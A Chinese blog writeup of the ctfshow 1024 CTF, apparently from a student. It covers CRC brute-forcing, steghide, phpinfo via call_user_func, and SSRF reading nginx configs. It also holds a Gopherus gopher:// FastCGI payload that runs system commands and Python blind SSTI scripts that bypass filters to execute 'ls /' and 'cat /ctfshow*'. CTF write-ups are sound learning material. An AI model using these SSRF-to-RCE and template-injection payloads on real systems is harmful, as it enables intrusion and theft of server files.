平静的ctfshow 1024杯(部分writeup)

最新推荐文章于 2024-05-06 23:46:46 发布
最新推荐文章于 2024-05-06 23:46:46 发布
阅读量998 收藏
点赞数
分类专栏： ctf web 文章标签： python 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46041723/article/details/109585322
版权
本文详细记录了一位参赛者在CTF比赛中解决多个挑战的过程，包括签到、Web安全、图片代理和模板注入问题。通过解压文件、CRC32碰撞、SSRF漏洞利用和 SSTI 注入等技术，逐步揭示了隐藏的flag。
摘要由CSDN通过智能技术生成

1024

前言

平淡的一周又开始了,学习从变菜开始!!加油

MISC

签到

打开题目,提示下载压缩包,解压之后发现了两个文本文档文本文档
在说明(提示)里面讲到讲到
所以先理出来自己对于这个题的思路。

一、flag是一个连续的字符串，在文档中包含，但是不会是完整的。
二、上一个目标的第二个数值是下一个目标的第一个数值。
三、其他的没看懂，可能是因为菜。

然后就用notepad++ 打开，进行搜索。首先尝试ag ，发现运气不错。目标一
当然有很多个目标，但是经过尝试之后只有这个是正确的，其他的在后面无法找的其他目标。最后找到的包含flag的位置
1
2
3
4
5
6
7
8
所以最后拼接得到flagflag

重新签到

打开发现是两个压缩包和一个jpg图片还有一个提示
原题附件
然后第一步骤我怎么也没有头绪，就网上百度了一下，知道了是CRC碰撞，然后就借了现成的脚本。

import zipfile
from zlib import crc32
import binascii
import random
s = "0123456789"
text = ""
f= zipfile.ZipFile("level_1.zip")
for i in range(0,9999999999):
	data = str(i).zfill(10)
	#print(data,binascii.crc32(data.encode()))
	if hex(binascii.crc32(data.encode()))=='0x342f0e5c':
		print(data)
		break
#0009656856

然后爆破出来的是0009656856。
之后来到第二步，是个jpg图像，然后第一部给了这个一串数字，就想到是不是图片里隐藏的有信息，然后想到了可以用steghide提取。

steghide使用方法：
隐藏文件 steghide embed -cf [图片文件载体] -ef [待隐藏文件]
查看图片中嵌入的文件信息 steghide info *.jpg
提取图片中隐藏的文件 steghide extract -sf *.jpg

然后使用命令steghide extract -sf level-2.jpg 0009656856
得到
查看发现
level_3密码
然后根据万能的脑洞加上提示
提示
想到了可能是给后面的是什么呀进行加密，而且是32位的加密，就想到了MD5、sha1等（才不是我只知道这两个）。
然后就一一尝试，发现是sha1加密。
加密之后得到密码：a95aea415a4d76c323b13423a22f72c56ca912b6，进而得到flag
flag

web

web签到

打开题目，只有简短的几行代码。所以盲猜不难。


error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);

call_user_func函数用来将第一个参数作为回调函数调用
格式：call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] ) : mixed
第一个参数 callback 是被调用的回调函数，其余参数是回调函数的参数。
callback
将被调用的回调函数（callable）。
parameter
0个或以上的参数，被传入回调函数。
注意，传入call_user_func()的参数不能为引用传递。

所以构造payload：?f=phpinfo
进入phpinfo页面
phpinfo

然后搜索1024发现一个函数
函数
接着构造payload：?f=ctfshow_1024，得到flag
flag

图片代理

打开题目
题目
发现url框里是一个base64编码，aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
解码得到

http://p.qlogo.cn/gh/372619038/372619038/0

然后bp抓包，发现是Ubuntu，nginx，就猜测可能存在ssrf漏洞。
所以就百度了一下默认的配置文件路径。/etc/nginx/conf.d/default.conf
base64编码进行传参（在bp进行）

ZmlsZTovLy9ldGMvbmdpbngvY29uZi5kL2RlZmF1bHQuY29uZg==

注意传参payload是file:///etc/nginx/conf.d/default.conf
这里要利用fille协议。
server
得到server信息。然后发现了一个目录。接下来利用工具gopher打fastcgi ，端口为9000。
关于gopher，

如果您知道某个地方容易受到SSRF的攻击，那么此工具将帮助您生成Gopher有效负载，以利用SSRF（服务器端请求伪造）并获得RCE（远程代码执行）。而且，它将帮助您在受害服务器上获得Reverse Shell。

具体信息
然后在这里插入图片描述
依次命令为

ython2 gopherus.py --exploit fastcgi
/var/www/bushihtml/index.php

ls /

得到

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

base64编码

Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw

同样在bp操作得到
结果
然后尝试第一个字符串，提交成功。
关于gopherus工具的一些常用命令：

python2 gopherus.py --exploit 
1、--exploit mysql/*(要求MySQL是3306端口)*/
2、--exploit postgresql
3、--exploit fastcgi/*如果打开了端口9000，并且没有安全性，则可以使用*/

hello_world

打开题目
题目
提示post：key
然后post之后发现回显的是你post的东西。然后尝试一下ssti模板注入
发现postkey={%if 1==1%}yoyo{%endif%}能够正常回显yoyo。
（说明：之前尝试了{123}和{{123}}发现回显本身，说明存在过滤，所以尝试用{%%}）

{{ ... }}：装载一个变量，模板渲染的时候，会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}：装载一个控制语句。
{# ... #}：装载一个注释，模板渲染的时候会忽视这中间的值

然后在网上找的ssti模板注入的一些对象的魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组，方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用，这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

然后利用方法

#获取''字符串的所属对象
>>> ''.__class__
<class 'str'>

#获取str类的父类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

#获取object类的所有子类
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...

关于这些
所以post尝试key={%if ""._class_!=1%}yoyo{%endif%},页面出现500错误
500页面
然后再次百度，知道了是存在过滤，看了大佬的博客知道了这个题目只过滤了‘_’，所以只要进行16进制编码即可。
所以尝试构造payload为：key={%if ""["\x5F\x5Fclass\x5F\x5F"]%}yoyo{%endif%},发现正常回显正常回显
然后就是用python脚本跑了，在这里贴上大佬的脚本
一、查看可操作的模块

import requests
url = 'http://1bd9a94e-1af7-4b89-8776-7e72b4726171.chall.ctf.show/'
'''
payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}yoyo{%endif%}'
data = {'key':payload}
r = requests.post(url,data)
print(r.text)
'''

for i in range(1,200):
    payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}yoyo{%endif%}'
    # real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")'
    data = {'key':payload}
    r = requests.post(url,data)
    if r.status_code == 200:
        print(i)

二、利用盲注脚本去查看当前目录和根目录

import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://1bd9a94e-1af7-4b89-8776-7e72b4726171.chall.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}yoyo{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'yoyo' in r.text:
            ans += le
            print('ans = '+ans)
            break

在这一步可以看到目录名为ctfshow和flag的目录
查看到的目录

三、最终

import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://1bd9a94e-1af7-4b89-8776-7e72b4726171.chall.ctf.show/'
cmd = 'cat /ctfshow*'
ans = ''
for i in range(0,80):
    for le in abt:
        payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}yoyo{%endif%}'
        data = {'key':payload}
        r = requests.post(url,data)
        if 'yoyo' in r.text:
            ans += le
            print('ans = '+ans)
            break

因为是要在查找到的目录下进行操作，所以脚本里面的cmd = 'cat /ctfshow*'中加的应该是你想要的目录。得到flag
得到flag

结束语

自己还是太菜了，做的题太少，好多题都要在网上找大佬博客才能做出来，多做题吧以后！附上hello word web题的参考的大佬博客。

墨子轩、
关注
专栏目录
ctfshow 1024杯
qq_45655564的博客
09-03 646
1024_WEB签到 phpinfo中有个自定义的函数，不多说了，自己找找看把 1024_柏拉图 双写绕过file://,然后利用file协议读取文件， index.php <?php error_reporting(0); function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo cur
CTFHSHOW 1024杯 复现
wu_zh1_hui的博客
10-28 469
记一次划水 1.签到 看了大佬们的wp知道第一个数字是上一个路口编号，第二个数字是下一个路口的编号。 提示是出题人的id：9u4ck 直接在文档里搜索不到，就删除几个字符发现9u4有搜索备选， 发现后面有个fl , 根据这个的第二个数字继续寻找 发现方向没问题 继续下去得到flag{Welcom_1024_Challeng_9u4ck} 中间有很多的干扰项，看完wp还不会写的我。 2.重新签到 level1 提示是纯数字，尝试爆破压缩包，发现没有效果，猜测是crc爆破 ，借用大佬的脚本，跑出来内容
ctfshow-1024杯
~airrudder~
10-27 4092
比赛期间，太菜，没做出多少，赛后wp，记录一下 文章目录Web1024_WEB签到1024_fastapi1024_hello_world1024_图片代理Misc1024_签到1024_重新签到1024_兔耳1024_调频收音机1024_非常简单1024_1024zip套娃1024_大威天龙Crypto1024_Trick1024_密码系统1024_麻辣兔头第七锅 Web 1024_WEB签到 <?php error_reporting(0); highlight_file(__FILE__);.
ctfshow-1024杯(web)
最新发布
2202_75812594的博客
05-06 1777
.”就用[]来绕过，下划线就用编码绕过，16位编码，Unicode编码都可以。满足phar反序列化要求：有对文件进行操作，如file_get_contents，fopen等等。最开始还在request.args.xxx来绕，一直不得行，然后突然意识到“.”已经莫有了，晕。看大佬wp，fastcgi，嗯...，更不会。只过滤了这4个，我用subprocess.Popen，一个waf也没遇到，只能说太顺了。嗯，flag就出来了，不知道啥原理，跟着做还蛮简单（自我安慰）gopherus项目地址。
CTFSHOW新手杯MISC部分WriteUp
阿道夫的博客
01-03 565
简单做了一下CTFSHOW新人杯的MISC等部分的题目，收获还是挺大的，有兴趣的小伙伴可以去官网尝试做一下，如果喜欢本文不妨一键三连支持一下。
2024年CTFShow-电子取证篇Writeup_ctfshow 电子取证(3)，2024年最新剖析网络安全开发未来的出路在哪里
2401_84264727的博客
05-05 588
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。最后就是大家最关心的网络安全面试题板块。
[ctfshow 2021摆烂杯] FORENSICS部分 writeup
ShenZ的博客
01-03 3308
[ctfshow 2021摆烂杯] FORENSICS部分 writeup 套的签到题 第一段flag 第二段flag 第三段flag JiaJia-CP-1 JiaJia-CP-2 JiaJia-CP-3 JiaJia-PC-1 JiaJia-PC-2 JiaJia-PC-3
ctfshow 第二届月饼杯 misc部分writeup
ashMOB的博客
11-12 3075
ctfshow 第二届月饼杯 misc部分writeup 说是部分其实就一道 月饼起义 下载得到一个损坏的zip 利用binwalk或者bandizip自带的修复都能得到一个hint.txt，解压后猜测是零宽隐写，去 Unicode Steganography with Zero-Width Characters (330k.github.io) 这解密能得到一个hint提示170 猜测原来的zip文件中还有文件，接着猜是应该要对该zip的16进制进行异或计算（经验与积累，不过我是看wp才知道的） 这一步
CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED
qq_31415417的博客
02-27 1448
CTFshow-菜狗杯-算力超群-算力升级-无一幸免FIXED
ctfshow部分writeup
西部壮仔的博客
10-11 2115
web 签到观己WEB_AK赛 源码: <?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ die('error'); }else{ include($file); } }else{ highlight_file(__FILE__); } ?> 直接包含上传进度就行 import request
CTFSHOW【萌新计划】Writeup
abtgu的博客
05-16 3032
CTFSHOW【萌新计划】web1【萌新计划】web2【萌新计划】web3【萌新计划】web4【萌新计划】web5【萌新计划】web6【萌新计划】web7【萌新计划】web8【萌新计划】web9【萌新计划】web10【萌新计划】web11 【萌新计划】web1 题目： 代码很安全，没有漏洞。 解题思路： 题目代码 <html> <head> <title>ctf.show萌新计划web1</title> <meta charset="u
CTFSHOW-phpCVE Writeup
weixin_59419135的博客
11-25 1343
ctfshow phpCVE（web311,web312,web313,web314,web315） CVE-2019-11043,CVE-2018-19935,CVE-2012-1823,PHP_SESSION_UPLOAD_PROGRESS文件包含, XDebug 远程调试漏洞
CTFshow-Web入门writeup
m0_61596829的博客
06-08 613
CTFshow-Web入门writeup
CTFshow——web入门——反序列化web254-web278 详细Writeup
Leaf_initial的博客
08-24 2447
在做题之前先简要总结一下知识点。
CTFShow-电子取证篇Writeup
Aluxian_的博客
05-18 3017
CTFShow-电子取证篇Writeup。
CTFShow-web入门WriteUp（长期更新）
子推的Blog
03-26 639
web21 下载zip文件是后台密码字典，用户名猜测admin，先进行抓包 没有发现我们传输的参数，但是HTTP请求头里面有这样的参数 解码之后发现这是我们传输的参数，所以开始爆破 因为编码前几位是admin:的base64，所以我们只需要把密码所在段设置为变量即可 然后对payload进行base64加密，进行爆破 这里有点需要注意，我们要关闭Payload Encoding，因为我们base64加密结果可能会存在=或者==，payload encoding会将=进行编码 或者写python脚
【CTF Reverse】CTFShow 逆向签到题 Writeup（反汇编）
HEX9CF的技术博客
04-29 674
1逆向题的hello world。
CTFshow——WP（1024杯-MISC签到）
hahaha233330的博客
10-26 971
Brainfuck
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值